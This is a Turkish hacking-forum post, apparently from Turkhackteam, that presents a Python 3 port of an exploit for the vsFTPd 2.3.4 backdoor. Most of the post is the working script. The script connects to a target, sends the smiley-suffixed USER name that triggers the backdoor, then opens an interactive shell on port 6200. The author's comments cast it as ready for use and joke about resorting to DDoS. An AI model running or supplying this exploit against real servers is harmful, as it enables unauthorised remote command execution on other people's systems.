ptyhon3 ile vsFTPd 2.3.4 exploit/mt

metonya

Uzman üye
9 Ara 2017
1,292
8
Türkiye
Merhaba arkadaşlar bugün python3 ile vsFTPd 2.3.4 exploit nasıl yazılır anlatımını yapıcam

@Belvando hocamız bu exploiti python 2 için yazmıştı bende python3 için bazı değişikler yapıp kendime göre yazdım:)

Kod:
#gerekli modüller
import sys
import socket

#Burda exploitin çalışma şeklini belirtik yani python mt.py -h host -p port
for i in sys.argv:
    if i == "-h":
        mt = sys.argv.index(i)
        mt += 1
        host = sys.argv[mt]

    elif i == "-p":
        mt = sys.argv.index(i)
        mt += 1
        port = sys.argv[mt]

#Burda bağlantının IPv4 ve TCP üzerinden olacağını belirledik

tht = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#Burda girilen değerlere göre bağlantı yapılmış

tht.connect((host, int(port)))

#burda bağlanılan portun kontrolü yapılır
ug = tht.recv(1024).strip()

#burda bağlanılan portun kontrolü yapılır
if "vsFTPd 2.3.4".encode() in ug:
    # burda exploit aşamaları başladı eğer açıklık var ise aşağıda shell açılır
    tht.send(("USER something:)\n").encode())
    tht.recv(1024)
    tht.send(("PASS againsomething").encode())
    tht.close()
    print("Pencere açık :)")

#burda bağlanılan portun kontrolü yapılır
else:
    print("Pencere açık değil bende kapıyı kırarım :)(ddos)")
    exit() 

#yine bağlantının nasıl yapılcağı olacağını gösterir
shll = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#shell in açılacağı port vs belirlenmiş

shll.connect((host,6200))

#döngü yaplıyor
while True:
    #göndremek istenilen veri  girilir
    met = input("#")
    #çıkmak için q ya basılır
    if met == "q":
        shll.close()
        exit()
    #veri karşı tarfa yollanıyor
    shll.send((met+ "\n").encode())
    #veriye göre cevp geliyor ve tekar while döngüsü başlar
    print(shll.recv(1024))
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.